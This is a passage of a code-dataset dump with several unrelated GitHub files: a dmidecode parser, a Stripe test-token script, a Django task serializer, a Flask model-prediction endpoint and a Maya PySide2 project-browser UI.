language',\n        15: \"system event log\",\n        16: \"physical memory array\",\n        17: \"memory device\",\n        19: \"memory array mapped address\",\n        24: \"hardware security\",\n        25: \"system power controls\",\n        27: \"cooling device\",\n        32: \"system boot\",\n        41: \"onboard device\",\n    }\n\n    @classmethod\n    def from_command(cls, args=None):\n        args = [] if args is None else args\n        output = subprocess.run_command([\"dmidecode\", *args], root=True).stdout\n        return cls(output)\n\n    def __init__(self, output):\n        self.output = output\n\n    def i_entries(self):\n        lines = self.output.strip().splitlines()\n        for line in lines:\n            if line.startswith(\"Handle 0x\"):\n                handle_str, type_str, byte_str = line.split(\",\", 2)\n                handle = handle_str.split(\" \", 1)[1]\n                typ = int(type_str.strip()[len(\"DMI type\") :])\n                if typ in cls.TYPE:\n                    # parse section\n                    section = _parse_handle_section(lines)\n\n                    # add handle information\n                    entry = {**section, \"Handle\": handle}\n\n                    yield (cls.TYPE[typ], entry)\n\n    @property\n    @lru_cache\n    def entries(self):\n        return list(self.i_entries())\n\n    @property\n    @lru_cache\n    def categories(self):\n        \"\"\"Parse dmidecode output to dict of categories with subitems.\n        \"\"\"\n        d = {}\n        for category, entry in self.entries:\n            # gather entries in categories\n            d.setdefault(category, []).append(entry)\n        return d\n", "repo_name": "kvth/dmidecode", "sub_path": "dmidecode/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2891, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.UserDict", "line_number": 35, "usage_type": "name"}, {"api_name": "subprocess.run_command", "line_number": 64, "usage_type": "call"}, {"api_name": "functools.lru_cache", "line_number": 87, "usage_type": "name"}, {"api_name": "functools.lru_cache", "line_number": 92, "usage_type": "name"}]}
{"seq_id": "14276364713", "text": "import stripe\nimport os\n\nstripe.api_key = os.getenv('STRIPE_TEST_SECRET_KEY')\n\ntoken = stripe.Token.create(\n        card={\n                    \"number\": '4242424242424242',\n                    \"exp_month\": 12,\n                    \"exp_year\": 2018,\n                    \"cvc\": '123'\n                },\n)\n\nprint(token['id'])\n", "repo_name": "sandeel/mineserve", "sub_path": "generate_stripe_token.py", "file_name": "generate_stripe_token.py", "file_ext": "py", "file_size_in_byte": 322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "stripe.api_key", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 4, "usage_type": "call"}, {"api_name": "stripe.Token.create", "line_number": 6, "usage_type": "call"}, {"api_name": "stripe.Token", "line_number": 6, "usage_type": "attribute"}]}
{"seq_id": "25147655564", "text": "from rest_framework import serializers\nfrom .models import Task, HistoryTask\nfrom django.contrib.auth import get_user_model\n\n\nUser = get_user_model()\n\n\nclass HistoryTaskSerialiser(serializers.ModelSerializer):\n\n    class Meta:\n        model = HistoryTask\n        fields = ('title',\n                  'description',\n                  'status',\n                  'planned_completion_date')\n\n\nclass TaskSerialiser(serializers.ModelSerializer):\n    history_task = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Task\n        fields = ('id',\n                  'title',\n                  'description',\n                  'time_created',\n                  'status',\n                  'planned_completion_date',\n                  'history_task')\n\n    def get_history_task(self, obj):\n        return HistoryTaskSerialiser(HistoryTask.objects.filter(history_task=obj), many=True, read_only=True).data\n\n    def create(self, validated_data):\n        validated_data['owner'] = self.context['request'].user\n        return Task.objects.create(**validated_data)\n\n    def update(self, instance, validated_data):\n        instance.title = validated_data.get('title', instance.title)\n        instance.description = validated_data.get('description', instance.description)\n        instance.status = validated_data.get('status', instance.status)\n        instance.planned_completion_date = validated_data.get('planned_completion_date', instance.planned_completion_date)\n\n        instance.save()\n\n        HistoryTask.objects.create(title=instance.title,\n                                   description=instance.description,\n                                   status=instance.status,\n                                   planned_completion_date=instance.planned_completion_date,\n                                   history_task=instance).save()\n        return instance\n", "repo_name": "WellGoodAndBad/tasks_manager", "sub_path": "main_app/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 6, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "models.HistoryTask", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 20, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Task", "line_number": 23, "usage_type": "name"}, {"api_name": "models.HistoryTask.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "models.HistoryTask.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.HistoryTask", "line_number": 33, "usage_type": "name"}, {"api_name": "models.Task.objects.create", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Task.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.Task", "line_number": 37, "usage_type": "name"}, {"api_name": "models.HistoryTask.objects.create", "line_number": 47, "usage_type": "call"}, {"api_name": "models.HistoryTask.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "models.HistoryTask", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "8250595241", "text": "\r\n\r\n\r\nimport numpy as np\r\nfrom flask import Flask, request, jsonify\r\nimport pickle\r\n\r\n\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('forest_model.sav', 'rb'))\r\n\r\n\r\n@app.route('/results',methods=['POST'])\r\ndef results():\r\n\r\n    data = request.get_json(force=True)\r\n    test = np.array([list(data.values())])\r\n    prediction = model.predict(test)\r\n\r\n    output = prediction[0]\r\n    return jsonify(output)\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n", "repo_name": "cparrett300/Data-Science", "sub_path": "Remaining Useful Life/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}]}
{"seq_id": "13210858294", "text": "\"\"\"\nname: productUI.py\n\nAuthor: Ehsan Hassani Moghaddam\n\nHistory:\n\n05/18/19 (ehassani)     first release!\n\n\n\n\"\"\"\n# python modules\nimport os\nimport sys\nimport subprocess\nimport re\nfrom functools import partial\n\n# Qt modules\nfrom PySide2 import QtCore, QtWidgets\n\n# RedTorch modules\nfrom . import workspace\nfrom ..lib import renderLib\nfrom ..lib import qtLib\nfrom ..lib import fileLib\n\nreload(workspace)\nreload(renderLib)\nreload(qtLib)\nreload(fileLib)\n\n# CONSTANTS\nSETTINGS_PATH = os.path.join(os.getenv(\"HOME\"), 'productUI.uiconfig')\nEXT = 'ma'\nSAVE_AS_TIP = ' [ Next version gets created if you click Save As ]'\n\n\nclass UI(QtWidgets.QDialog):\n\n    def __init__(self, title='Product UI', parent=qtLib.getMayaWindow()):\n\n        # create window\n        super(UI, self).__init__(parent=parent)\n        self.setWindowTitle(title)\n        self.resize(600, 400)\n\n        # give a different color to whole UI\n        qtLib.setColor(self, qtLib.SILVER_LIGHT, affectChildren=True)\n        # effect = QtWidgets.QGraphicsColorizeEffect(self)\n        # effect.setColor(QtGui.QColor(*qtLib.GREEN))\n        # effect.setStrength(0.1)\n        # self.setGraphicsEffect(effect)\n\n        self.setWindowFlags(self.windowFlags() |\n                            QtCore.Qt.WindowMinimizeButtonHint |\n                            QtCore.Qt.WindowSystemMenuHint)\n\n        self.job = ''\n        self.seq = ''\n        self.shot = ''\n        self.task = ''\n        self.scene = ''\n        self.lastClicked = None\n        self.closed = False\n        self.mainJobsDir = ''\n\n        # main layout\n        self.mainWidget = QtWidgets.QVBoxLayout()\n        self.setLayout(self.mainWidget)\n        self.layout().setContentsMargins(1, 1, 1, 1)\n        self.layout().setSpacing(2)\n        self.layout().setAlignment(QtCore.Qt.AlignTop)\n\n        # tabs\n        tab = QtWidgets.QTabWidget()\n        self.mainWidget.addWidget(tab)\n\n        self.populateMainWin()\n\n        # projects_w tab\n        projects_w = QtWidgets.QWidget()\n        self.projects_lay = QtWidgets.QVBoxLayout(projects_w)\n        tab.addTab(projects_w, 'Products')\n        self.populateProjectTab()\n\n        # settings_w tab\n        settings_w = QtWidgets.QWidget()\n        self.settings_lay = QtWidgets.QVBoxLayout(settings_w)\n        tab.addTab(settings_w, 'Settings')\n        self.populateSettingsTab()\n\n        # restore UI settings\n        self.restoreUI()\n\n    def populateMainWin(self):\n        # ======================================================================\n        # info frame\n        info_gb, info_frame = qtLib.createGroupBox(self.mainWidget, 'Info')\n\n        info_hl = qtLib.createVLayout(info_frame)\n\n        self.info_lb = QtWidgets.QLabel('')\n        self.info_lb.setWordWrap(True)\n        info_hl.layout().addWidget(self.info_lb)\n        self.info_lb.setMinimumSize(500, 30)\n\n    def populateProjectTab(self):\n        # ======================================================================\n        # projects frame\n        proj_gb, proj_frame = qtLib.createGroupBox(self.projects_lay, '')\n\n        proj_vl = qtLib.createVLayout(proj_frame)\n        proj_hl = qtLib.createHLayout(proj_vl, maxHeight=200)\n\n        # jobs\n        job_vl = qtLib.createVLayout(proj_hl)\n\n        lb = QtWidgets.QLabel('job')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        job_vl.layout().addWidget(lb)\n        lb.setMinimumWidth(180)\n\n        self.newJob_le = QtWidgets.QLineEdit()\n        self.newJob_le.setPlaceholderText('project name')\n        newJob_hl = qtLib.createHLayout(job_vl)\n        newJob_hl.layout().addWidget(self.newJob_le)\n\n        self.jobs_tw = qtLib.createTreeWidget(job_vl)\n        self.jobs_tw.setMinimumWidth(180)\n\n        # seq\n        seq_vl = qtLib.createVLayout(proj_hl)\n\n        lb = QtWidgets.QLabel('seq')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        seq_vl.layout().addWidget(lb)\n\n        newSeq_hl = qtLib.createHLayout(seq_vl)\n\n        self.newSeq_le = QtWidgets.QLineEdit()\n        self.newSeq_le.setPlaceholderText('sequence name (or assets folder)')\n        newSeq_hl.layout().addWidget(self.newSeq_le)\n        self.seqs_tw = qtLib.createTreeWidget(seq_vl)\n\n        # shot\n        shot_vl = qtLib.createVLayout(proj_hl)\n\n        lb = QtWidgets.QLabel('shot')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        shot_vl.layout().addWidget(lb)\n\n        newShot_hl = qtLib.createHLayout(shot_vl)\n\n        self.newShot_le = QtWidgets.QLineEdit()\n        self.newShot_le.setPlaceholderText('shot name or asset name')\n        newShot_hl.layout().addWidget(self.newShot_le)\n        self.shots_tw = qtLib.createTreeWidget(shot_vl)\n\n        # task\n        task_vl = qtLib.createVLayout(proj_hl)\n\n        lb = QtWidgets.QLabel('product')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        task_vl.layout().addWidget(lb)\n\n        newTask_hl = qtLib.createHLayout(task_vl)\n        self.newTask_le = QtWidgets.QLineEdit()\n        self.newTask_le.setPlaceholderText('model, lookdev, anim, etc')\n        newTask_hl.layout().addWidget(self.newTask_le)\n\n        self.tasks_tw = qtLib.createTreeWidget(task_vl)\n\n        # scene\n        scene_hl = qtLib.createHLayout(proj_vl)\n\n        # scene\n        scene_vl = qtLib.createVLayout(scene_hl)\n        lb = QtWidgets.QLabel('scene')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        scene_vl.layout().addWidget(lb)\n        self.scenes_tw = qtLib.createTreeWidget(scene_vl)\n\n        # notes\n        scene_vl = qtLib.createVLayout(scene_hl)\n        lb = QtWidgets.QLabel('notes')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        scene_vl.layout().addWidget(lb)\n        self.note_pte = QtWidgets.QPlainTextEdit()\n        scene_vl.layout().addWidget(self.note_pte)\n        self.note_pte.setReadOnly(True)\n        qtLib.setFGBGColor(self.note_pte, qtLib.SILVER, qtLib.GREY_DARK)\n\n        # recent project\n        recentProj_vl = qtLib.createVLayout(proj_vl)\n        recentProj_hl = qtLib.createHLayout(recentProj_vl)\n        lb = QtWidgets.QLabel('Recent Projects:')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        recentProj_hl.layout().addWidget(lb)\n        lb.setMaximumWidth(90)\n        self.recentProj_cmb = QtWidgets.QComboBox()\n        recentProj_hl.layout().addWidget(self.recentProj_cmb)\n\n        # buttons\n        buttons_vl = qtLib.createHLayout(proj_vl)\n\n        self.openScene_btn = QtWidgets.QPushButton('Open')\n        buttons_vl.layout().addWidget(self.openScene_btn)\n        self.openScene_btn.setEnabled(False)\n\n        self.importScene_btn = QtWidgets.QPushButton('Import')\n        buttons_vl.layout().addWidget(self.importScene_btn)\n        self.importScene_btn.setEnabled(False)\n\n        self.referenceScene_btn = QtWidgets.QPushButton('Reference')\n        buttons_vl.layout().addWidget(self.referenceScene_btn)\n        self.referenceScene_btn.setEnabled(False)\n\n        # Connect signals\n        self.jobs_tw.itemSelectionChanged.connect(self.updateSeqs)\n\n        self.seqs_tw.itemSelectionChanged.connect(self.updateShots)\n\n        self.shots_tw.itemSelectionChanged.connect(self.updateTasks)\n\n        self.tasks_tw.itemSelectionChanged.connect(self.updateScenes)\n\n        self.scenes_tw.itemSelectionChanged.connect(self.handleNewSceneSelected)\n\n        self.recentProj_cmb.currentIndexChanged.connect(self.selectUIFromRecentProj)\n\n        self.openScene_btn.clicked.connect(self.openScene)\n        self.importScene_btn.clicked.connect(self.importScene)\n        self.referenceScene_btn.clicked.connect(self.referenceScene)\n\n        self.updateJobs()\n\n        for tw in (self.jobs_tw, self.seqs_tw, self.shots_tw,\n                   self.tasks_tw, self.scenes_tw):\n            self.addRightClickMenu(tw, rmb_data={'Open Directoy': self.openDirectoy})\n\n    def populateSettingsTab(self):\n        # ======================================================================\n        # settings frame\n        settings_gb, settings_frame = qtLib.createGroupBox(self.settings_lay, '')\n\n        settings_vl = qtLib.createVLayout(settings_frame)\n        settings_hl = qtLib.createHLayout(settings_vl, maxHeight=200)\n\n        # jobs\n        mainJobs_vl = qtLib.createVLayout(settings_hl)\n        lb = QtWidgets.QLabel('Main Jobs Directory: ')\n        qtLib.setColor(lb, qtLib.GREEN_PALE)\n        mainJobs_vl.layout().addWidget(lb)\n        self.mainJobsDir_le = QtWidgets.QLineEdit()\n        self.mainJobsDir_le.setPlaceholderText('Example: D:/all_works/01_projects')\n        mainJobs_vl.layout().addWidget(self.mainJobsDir_le)\n\n        self.mainJobsDir_le.textChanged.connect(self.mainJobsDirChanged)\n\n    def updateJobs(self):\n        self.jobs_tw.clear()\n        if not os.path.isdir(self.mainJobsDir):\n            e = 'Main Jobs Directory in settings tab is not valid!'\n            qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n            return\n        qtLib.printMessage(self.info_lb, 'Ready!')\n        jobs = os.listdir(self.mainJobsDir) or []\n        for job in jobs:\n            qtLib.addItemToTreeWidget(self.jobs_tw, job)\n\n    def updateSeqs(self):\n        self.seqs_tw.clear()\n\n        # get selected job\n        self.job = qtLib.getSelectedItemAsText(self.jobs_tw)\n\n        if not all([self.mainJobsDir, self.job]):\n            return\n\n        currentDir = os.path.join(self.mainJobsDir, self.job)\n\n        # populate assets list\n        seqs = UI.getDirNames(currentDir)\n        for seq in seqs:\n            qtLib.addItemToTreeWidget(self.seqs_tw, seq)\n\n        # clear dependant widgets\n        self.shots_tw.clear()\n        self.tasks_tw.clear()\n        self.seq = ''\n        self.shot = ''\n        self.task = ''\n        self.scene = ''\n        self.openScene_btn.setEnabled(False)\n        self.importScene_btn.setEnabled(False)\n        self.referenceScene_btn.setEnabled(False)\n\n    def updateShots(self):\n        self.shots_tw.clear()\n\n        # get selected seq\n        self.seq = qtLib.getSelectedItemAsText(self.seqs_tw)\n\n        if not all([self.mainJobsDir, self.job, self.seq]):\n            return\n\n        currentDir = os.path.join(self.mainJobsDir, self.job, self.seq)\n\n        # populate assets list\n        shots = UI.getDirNames(currentDir)\n        for shot in shots:\n            qtLib.addItemToTreeWidget(self.shots_tw, shot)\n\n        # clear dependant widgets\n        self.tasks_tw.clear()\n        self.shot = ''\n        self.task = ''\n        self.scene = ''\n        self.openScene_btn.setEnabled(False)\n\n    def updateTasks(self):\n        self.tasks_tw.clear()\n\n        # get selected shot\n        self.shot = qtLib.getSelectedItemAsText(self.shots_tw)\n\n        if not all([self.mainJobsDir, self.job, self.seq, self.shot, 'product']):\n            return\n\n        currentDir = os.path.join(self.mainJobsDir, self.job, self.seq, self.shot, 'product')\n\n        # populate assets list\n        tasks = UI.getDirNames(currentDir)\n        for task in tasks:\n            qtLib.addItemToTreeWidget(self.tasks_tw, task)\n\n        # clear dependant widgets\n        self.scenes_tw.clear()\n        self.task = ''\n        self.scene = ''\n        self.openScene_btn.setEnabled(False)\n\n    def updateScenes(self):\n        self.scenes_tw.clear()\n\n        self.task = qtLib.getSelectedItemAsText(self.tasks_tw)\n\n        if not all([self.mainJobsDir, self.job, self.seq,\n                    self.shot, 'product', self.task]):\n            return\n\n        versionsDir = os.path.join(self.mainJobsDir, self.job, self.seq,\n                                   self.shot, 'product', self.task)\n        if not os.path.lexists(versionsDir):\n            return\n        # currentDir = workspace.getHighestDir(versionsDir)\n        # if not currentDir:\n        #     return\n\n        # populate assets list\n        scenes = []\n        for x in os.listdir(versionsDir):\n            if x == 'metadata.json':\n                continue\n            scenes.extend(os.listdir(os.path.join(versionsDir, x)))\n        scenes = filter(lambda x: any(x.endswith(a) for a in workspace.MAYA_FORMATS), scenes)\n\n        sceneNameWithDesc = '_'.join([self.shot, self.task])\n\n        sceneNames = []\n        for scene in reversed(scenes):\n            if scene.startswith(sceneNameWithDesc):\n                regex = r'{}_{}_[\\w]*_v[\\d]*.[\\w]*'.format(self.shot, self.task)\n                if not re.findall(regex, scene):\n                    sceneNames.append(scene)\n\n        # populate assets list\n        for desc in sceneNames:\n            qtLib.addItemToTreeWidget(self.scenes_tw, desc)\n\n        # select latest file in the UI\n        numItems = self.scenes_tw.topLevelItemCount()\n        if numItems:\n            self.scenes_tw.setCurrentItem(self.scenes_tw.topLevelItem(0))\n\n    def handleNewSceneSelected(self):\n        self.note_pte.clear()\n\n        self.scene = qtLib.getSelectedItemAsText(self.scenes_tw)\n\n        if not all([self.mainJobsDir, self.job, self.seq,\n                    self.shot, 'product', self.task, self.scene]):\n            return\n\n        versionsDir = os.path.join(self.mainJobsDir, self.job, self.seq,\n                                   self.shot, 'product', self.task)\n        if not os.path.lexists(versionsDir):\n            return\n        # currentDir = workspace.getHighestDir(versionsDir)\n        # if not currentDir:\n        #     return\n\n        # display metadata\n\n        # get current selected version\n        version = self.scene.split('.')[0].split('_')[-1]\n\n        # get metadata for all version\n        metadata_file = os.path.join(versionsDir, 'metadata.json')\n        if os.path.lexists(metadata_file):\n            metadata = fileLib.loadJson(metadata_file)\n\n            # get current version metadata\n            if version in metadata:\n                metadata_as_str = fileLib.dictToStr(metadata[version])\n                # show metadata in UI\n                self.note_pte.setPlainText(metadata_as_str)\n\n        self.openScene_btn.setEnabled(True)\n        self.importScene_btn.setEnabled(True)\n        self.referenceScene_btn.setEnabled(True)\n\n    def addJob(self):\n        text = self.newJob_le.text()\n        if not text:\n            raise RuntimeError('Make sure you have entered new job name!')\n\n        qtLib.addItemToTreeWidget(self.jobs_tw, text)\n\n        for folder in workspace.PROJECT_ALL_DIRS:\n            folderPath = os.path.join(self.mainJobsDir, text, folder)\n            os.makedirs(folderPath)\n\n        self.newJob_le.setText('')\n        qtLib.selectItemByText(self.jobs_tw, text)\n\n    def addSeq(self):\n        text = self.newSeq_le.text()\n        if not all([self.job, text]):\n            raise RuntimeError('Make sure you have job selected and seq typed!')\n\n        qtLib.addItemToTreeWidget(self.seqs_tw, text)\n\n        folderPath = os.path.join(self.mainJobsDir, self.job, text)\n        os.makedirs(folderPath)\n\n        self.newSeq_le.setText('')\n        qtLib.selectItemByText(self.seqs_tw, text)\n\n    def addShot(self):\n        text = self.newShot_le.text()\n        if not all([self.job, self.seq, text]):\n            raise RuntimeError('Make sure you have job, seq selected and shot typed!')\n\n        qtLib.addItemToTreeWidget(self.shots_tw, text)\n\n        folderPath = os.path.join(self.mainJobsDir, self.job, self.seq,\n                                  text, 'product')\n        os.makedirs(folderPath)\n\n        self.newShot_le.setText('')\n        qtLib.selectItemByText(self.shots_tw, text)\n\n    def addTask(self):\n        text = self.newTask_le.text()\n        if not all([self.job, self.seq, self.shot, text]):\n            raise RuntimeError('Make sure you have job, seq, shot selected and task typed!')\n\n        qtLib.addItemToTreeWidget(self.tasks_tw, text)\n\n        folderPath = os.path.join(self.mainJobsDir, self.job, self.seq,\n                                  self.shot, 'product', text)\n        os.makedirs(folderPath)\n\n        self.newTask_le.setText('')\n        qtLib.selectItemByText(self.tasks_tw, text)\n\n    @staticmethod\n    def getDirNames(folder):\n        currentDir = os.path.join(folder)\n        if not os.path.isdir(currentDir):\n            return []\n        dirs = os.listdir(currentDir)\n        dirs = filter(lambda x: x not in workspace.PROJECT_DEFAULT_DIRS, dirs)\n        dirs = filter(lambda x: os.path.isdir(os.path.join(currentDir, x)), dirs)\n        return dirs\n\n    @staticmethod\n    def getFileNames(folder):\n        currentDir = os.path.join(folder)\n        if not os.path.isdir(currentDir):\n            return []\n        files = os.listdir(currentDir)\n        files = filter(lambda x: x not in workspace.PROJECT_DEFAULT_DIRS, files)\n        files = filter(lambda x: os.path.isfile(os.path.join(currentDir, x)), files)\n        return files\n\n    def addRightClickMenu(self, tw, rmb_data):\n        tw.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n        tw.customContextMenuRequested.connect(partial(self.rightClickMenu, tw, rmb_data))\n\n    def rightClickMenu(self, tw, rmb_data, event):\n        \"\"\"\n        add right-click menu to assetNames\n\n        rmb_data = {'Open Directoy': self.openDirectoy,\n                    'Copy RV Command': self.copyRVCommand})\n        tw.customContextMenuRequested.connect(lambda: rightClickMenu(tw=tw, itemDict=itemDict))\n        :return: n/a\n        \"\"\"\n        menu = QtWidgets.QMenu(self)\n\n        for k, v in rmb_data.items():\n            self.lastClicked = tw\n            menu.addAction(k, v)\n\n        menu.exec_(tw.mapToGlobal(event))\n\n    @staticmethod\n    def removeInvalidPartsOfPath(filePath):\n        \"\"\"\n        Removes invalid parts of path from end of path, searching for a valid\n        path. Returns a path if found one, otherwise None\n        \"\"\"\n        insuranceValve = 0\n        while not os.path.lexists(filePath):\n            filePath = os.path.dirname(filePath)\n            insuranceValve += 1\n            if insuranceValve == 100:\n                return\n        return filePath\n\n    def getLatestClickedPath(self):\n        folderPath = self.mainJobsDir\n\n        job = qtLib.getSelectedItemAsText(self.jobs_tw) or ''\n        seq = qtLib.getSelectedItemAsText(self.seqs_tw) or ''\n        shot = qtLib.getSelectedItemAsText(self.shots_tw) or ''\n        task = qtLib.getSelectedItemAsText(self.tasks_tw) or ''\n        scene = qtLib.getSelectedItemAsText(self.scenes_tw) or ''\n        folderPath = os.path.join(folderPath, job, seq, shot)\n        if task:\n            folderPath = os.path.join(folderPath, 'product', task)\n        if scene:\n            folderPath = os.path.join(folderPath, 'maya', 'scenes', scene)\n        folderPath = UI.removeInvalidPartsOfPath(folderPath)\n        return folderPath\n\n    def openDirectoy(self):\n        \"\"\"\n        Opens directory of rig QC images for selected asset in file explorer\n        :return: n/a\n        \"\"\"\n        folderPath = self.mainJobsDir\n\n        if self.lastClicked == self.jobs_tw:\n            folderPath = os.path.join(folderPath, self.job)\n\n        if self.lastClicked == self.seqs_tw:\n            folderPath = os.path.join(folderPath, self.job, self.seq)\n\n        if self.lastClicked == self.shots_tw:\n            folderPath = os.path.join(folderPath, self.job, self.seq, self.shot)\n\n        if self.lastClicked == self.tasks_tw:\n            folderPath = os.path.join(folderPath, self.job, self.seq, self.shot,\n                                      'product', self.task)\n\n        if self.lastClicked == self.scenes_tw:\n            folderPath = os.path.join(folderPath, self.job, self.seq, self.shot,\n                                      'product', self.task)\n            self.scene = qtLib.getSelectedItemAsText(self.scenes_tw)\n            if self.scene:\n                version = re.findall(r'v\\d\\d\\d\\d', self.scene)[-1]\n                folderPath = os.path.join(folderPath, version)\n\n        # open directory\n        folderPath = UI.removeInvalidPartsOfPath(folderPath)\n        if sys.platform == 'win32':\n            subprocess.Popen(r'explorer \"{}\"'.format(folderPath))\n        else:\n            subprocess.Popen(['xdg-open', folderPath])\n\n    def getSceneFileFromUI(self):\n        if not all((self.job, self.seq, self.shot, self.task)):\n            raise RuntimeError('Please select job, seq, shot and task to set project or scene to open it!')\n\n        # get selected items\n        self.scene = qtLib.getSelectedItemAsText(self.scenes_tw)\n        if not self.scene:\n            return\n\n        version = re.findall(r'v\\d\\d\\d\\d', self.scene)[-1]\n\n        sceneFile = os.path.join(self.mainJobsDir, self.job, self.seq,\n                                 self.shot, 'product', self.task, version, self.scene)\n        return sceneFile\n\n    def openScene(self):\n        sceneFile = self.getSceneFileFromUI()\n        workspace.openMayaFile(sceneFile)\n        return sceneFile\n\n    def importScene(self):\n        sceneFile = self.getSceneFileFromUI()\n        workspace.importMayaFile(sceneFile)\n        return sceneFile\n\n    def referenceScene(self):\n        sceneFile = self.getSceneFileFromUI()\n        workspace.referenceMayaFile(sceneFile)\n\n    def blast(self):\n        renderLib.playblast(resolution=[960, 540], video=True)\n\n    def selectUIFromPath(self, folderPath):\n        folderPath = os.path.abspath(folderPath)\n        self.mainJobsDir = os.path.abspath(self.mainJobsDir)\n        if not os.path.isdir(self.mainJobsDir):\n            e = 'Main Jobs Directory in settings tab is not valid!'\n            qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n            return\n        if not folderPath.startswith(self.mainJobsDir):\n            e = 'Path in recent project does not start with Main Jobs Directory in settings tab!'\n            qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n            return\n        tokens = folderPath.split(self.mainJobsDir)[1].split(os.sep)\n        job = ''\n        seq = ''\n        shot = ''\n        task = ''\n        if len(tokens) > 1:\n            job = tokens[1]\n        if len(tokens) > 2:\n            seq = tokens[2]\n        if len(tokens) > 3:\n            shot = tokens[3]\n        if len(tokens) > 5:\n            task = tokens[5]\n        qtLib.selectItemByText(self.jobs_tw, job)\n        qtLib.selectItemByText(self.seqs_tw, seq)\n        qtLib.selectItemByText(self.shots_tw, shot)\n        qtLib.selectItemByText(self.tasks_tw, task)\n\n        # error if recent project not in main jobs directory\n        latestClickedPath = os.path.abspath(self.getLatestClickedPath().split('product')[0])\n        pathFromRecentProjs = os.path.abspath(folderPath.split('product')[0])\n        if latestClickedPath != pathFromRecentProjs:\n            e = 'Path in recent project is not in the Main Jobs Directory in settings tab!'\n            qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n        else:\n            qtLib.printMessage(self.info_lb, 'Ready!')\n\n    def selectUIFromRecentProj(self):\n        folderPath = self.recentProj_cmb.currentText()\n        self.selectUIFromPath(folderPath)\n\n    def closeEvent(self, event):\n        \"\"\"\n        Save UI current size and position\n        :return: n/a\n        \"\"\"\n        self.closed = True\n\n        # settings path\n        settings = QtCore.QSettings(SETTINGS_PATH, QtCore.QSettings.IniFormat)\n\n        # window size and position\n        settings.setValue(\"geometry\", self.saveGeometry())\n\n        # recent projects\n        recentProjs = settings.value(\"recentProjs\") or []\n        recentProj = self.getLatestClickedPath()\n        if recentProj in recentProjs:\n            recentProjs.remove(recentProj)\n        recentProjs.insert(0, recentProj)\n        if len(recentProjs) > 10:\n            recentProjs = recentProjs[:10]\n        settings.setValue(\"recentProjs\", recentProjs)\n\n        # main jobs directory\n        jobsDir = self.mainJobsDir_le.text()\n        if os.path.lexists(jobsDir):\n            settings.setValue(\"mainJobsDir\", jobsDir)\n\n    def restoreUI(self):\n        \"\"\"\n        Restore UI size and position that if was last used\n        :return: n/a\n        \"\"\"\n        self.closed = False\n        if os.path.exists(SETTINGS_PATH):\n            settings = QtCore.QSettings(SETTINGS_PATH, QtCore.QSettings.IniFormat)\n\n            # window size and position\n            self.restoreGeometry(settings.value(\"geometry\"))\n\n            # main jobs directory\n            jobsDir = settings.value(\"mainJobsDir\")\n            if not jobsDir:\n                e = 'Main Jobs Directory in settings tab is not set!'\n                qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n            else:\n                self.mainJobsDir_le.setText(jobsDir)\n\n            # recent projects\n            recentProjs = settings.value(\"recentProjs\") or []\n            if recentProjs:\n                self.recentProj_cmb.addItems(recentProjs)\n                self.selectUIFromPath(recentProjs[0])\n\n    def mainJobsDirChanged(self):\n        jobsDir = self.mainJobsDir_le.text()\n        if not os.path.lexists(jobsDir):\n            e = 'Main Jobs Directory in settings tab is not valid!'\n            qtLib.printMessage(self.info_lb, 'ERROR -> ' + str(e), mode='error')\n        self.mainJobsDir = os.path.abspath(jobsDir)\n        self.updateJobs()\n\n\ndef launch():\n    global workspace_obj\n    if 'workspace_obj' in globals():\n        if not workspace_obj.closed:\n            workspace_obj.close()\n        workspace_obj.deleteLater()\n        del globals()['workspace_obj']\n    workspace_obj = UI()\n    workspace_obj.show()\n", "repo_name": "jtrner/redtorch_tools", 